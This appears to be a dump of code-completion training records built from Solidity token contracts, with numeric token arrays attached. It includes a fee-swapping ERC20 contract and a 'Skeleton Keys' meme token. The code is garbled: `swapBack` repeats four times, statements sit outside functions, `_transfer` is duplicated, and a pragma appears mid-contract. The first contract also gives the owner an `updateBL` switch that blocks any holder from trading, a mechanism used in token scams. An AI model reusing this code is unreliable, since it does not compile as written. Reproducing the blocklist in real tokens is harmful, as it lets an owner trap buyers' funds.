function updateBL(address[] calldata blockees, bool shouldBlock) external onlyOwner {
for(uint256 i = 0;i<blockees.length;i++){
address blockee = blockees[i];
if(blockee != address(this) &&
blockee != uniV2router &&
blockee != address(uniswapV2Pair))
blocked[blockee] = shouldBlock;
}
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDevelopment +
tokensForOperations;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDevelopment = ethBalance.mul(tokensForDevelopment).div(totalTokensToSwap);
uint256 ethForOperations = ethBalance.mul(tokensForOperations).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDevelopment - ethForOperations;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDevelopment = 0;
tokensForOperations = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDevelopment +
tokensForOperations;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDevelopment = ethBalance.mul(tokensForDevelopment).div(totalTokensToSwap);
uint256 ethForOperations = ethBalance.mul(tokensForOperations).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDevelopment - ethForOperations;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDevelopment = 0;
tokensForOperations = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDevelopment +
tokensForOperations;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDevelopment = ethBalance.mul(tokensForDevelopment).div(totalTokensToSwap);
uint256 ethForOperations = ethBalance.mul(tokensForOperations).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDevelopment - ethForOperations;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDevelopment = 0;
tokensForOperations = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
}
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2;
(success, ) = address(developmentWallet).call{value: ethForDevelopment}("");
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDevelopment +
tokensForOperations;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDevelopment = ethBalance.mul(tokensForDevelopment).div(totalTokensToSwap);
uint256 ethForOperations = ethBalance.mul(tokensForOperations).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDevelopment - ethForOperations;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDevelopment = 0;
tokensForOperations = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
}
(success, ) = address(operationsWallet).call{value: ethForOperations}("");
(success, ) = address(marketingWallet).call{value: address(this).balance}("");
} | 16,792,847 | [
1,
14925,
77,
17,
4819,
471,
30959,
17,
3350,
5349,
7990,
471,
3152,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
19622,
347,
382,
89,
353,
4232,
39,
3462,
16,
14223,
6914,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
1071,
11732,
640,
291,
91,
438,
58,
22,
8259,
31,
203,
565,
1758,
1071,
11732,
640,
291,
91,
438,
58,
22,
4154,
31,
203,
565,
1758,
1071,
5381,
8363,
1887,
273,
1758,
12,
20,
92,
22097,
1769,
203,
565,
1758,
1071,
7738,
58,
22,
10717,
273,
374,
5841,
10160,
17295,
22,
74,
7140,
329,
11035,
12124,
22,
5482,
29,
70,
24,
40,
4763,
6675,
5026,
4630,
7235,
26,
73,
9599,
2246,
21,
31,
203,
203,
565,
1426,
3238,
7720,
1382,
31,
203,
203,
565,
1758,
1071,
13667,
310,
16936,
31,
203,
565,
1758,
1071,
17772,
16936,
31,
203,
565,
1758,
1071,
4501,
372,
24237,
16936,
31,
203,
565,
1758,
1071,
5295,
16936,
31,
203,
203,
565,
2254,
5034,
1071,
943,
3342,
31,
203,
565,
2254,
5034,
1071,
7720,
5157,
861,
6275,
31,
203,
565,
2254,
5034,
1071,
943,
16936,
31,
203,
203,
565,
1426,
1071,
8181,
382,
12477,
273,
638,
31,
203,
565,
1426,
1071,
1284,
7459,
3896,
273,
629,
31,
203,
565,
1426,
1071,
7720,
1526,
273,
629,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
3238,
389,
4505,
3024,
5912,
4921,
31,
203,
565,
1426,
1071,
7412,
6763,
1526,
273,
638,
31,
203,
565,
2254,
5034,
3238,
8037,
1768,
31,
203,
565,
2874,
12,
2867,
516,
1426,
13,
1071,
14547,
31,
203,
203,
565,
2254,
2
]
|
/*
SKELETON KEYS // SKEYS
Skeleton Keys will be the most sought after item this Halloween Season and beyond.
Unearthed from deep within the catacombs the lucky few who stumble across them will obtain great riches.
ONLY 1 SKEYS Tradeable at a time
You may hold 3 SKEYS max however only 1 will provide benefits
The Catacombs has been located:
TG: https://t.me/SkeletonKeys
Skeleton Keys will provide Holders to NFT drops and early access and other exclusive content. Underground Project, Not for weaks
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol
pragma solidity ^0.8.0;
/**
* @title ERC20Decimals
* @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
*/
contract SkeletonKeys is ERC20 {
uint8 private immutable _decimals = 0;
uint256 private _totalSupply = 500 * 10**0;
bool public walletLimit = true;
IUniswapV2Router02 public uniswapV2Router;
address public immutable uniswapV2Pair;
/**
* @dev Sets the value of the `decimals`. This value is immutable, it can only be
* set once during construction.
*/
constructor() ERC20("Skeleton Keys", "SKEYS") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // SushiSwap router
// Create a uniswap pair for this new token
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_mint(address(0x4c30D9b3Ff286FcD1796B2Dc93912CDD71F9A89E), 25); // Influenzers
_mint(address(0x4c30D9b3Ff286FcD1796B2Dc93912CDD71F9A89E), 25); // Team
_mint(address(0xaF84f225f73d84bee5504F18BbED3a8Aff6C84F1), 50); // Rewards
_mint(_msgSender(), _totalSupply - 100);
}
function emergencyRemoveWalletLimit() external onlyOwner {
walletLimit = false;
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount == 1 || from == owner(), "SKEYS: Can only transfer 1 at a time");
if(walletLimit){
require(balanceOf(to) + amount <= 3 || to == uniswapV2Pair, "SKEYS: Can't hold more than 3 SKEYS per wallet");
}
super._transfer(from, to, amount);
emit Transfer(from, to, amount);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
} | File: contracts/token/ERC20/behaviours/ERC20Decimals.sol* @title ERC20Decimals @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot./ | contract SkeletonKeys is ERC20 {
uint8 private immutable _decimals = 0;
uint256 private _totalSupply = 500 * 10**0;
bool public walletLimit = true;
IUniswapV2Router02 public uniswapV2Router;
address public immutable uniswapV2Pair;
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
}
pragma solidity ^0.8.0;
constructor() ERC20("Skeleton Keys", "SKEYS") {
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_mint(_msgSender(), _totalSupply - 100);
}
function emergencyRemoveWalletLimit() external onlyOwner {
walletLimit = false;
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount == 1 || from == owner(), "SKEYS: Can only transfer 1 at a time");
if(walletLimit){
require(balanceOf(to) + amount <= 3 || to == uniswapV2Pair, "SKEYS: Can't hold more than 3 SKEYS per wallet");
}
super._transfer(from, to, amount);
emit Transfer(from, to, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount == 1 || from == owner(), "SKEYS: Can only transfer 1 at a time");
if(walletLimit){
require(balanceOf(to) + amount <= 3 || to == uniswapV2Pair, "SKEYS: Can't hold more than 3 SKEYS per wallet");
}
super._transfer(from, to, amount);
emit Transfer(from, to, amount);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
} | 573,893 | [
1,
812,
30,
20092,
19,
2316,
19,
654,
39,
3462,
19,
31772,
4390,
19,
654,
39,
3462,
31809,
18,
18281,
225,
4232,
39,
3462,
31809,
225,
25379,
434,
326,
4232,
39,
3462,
31809,
18,
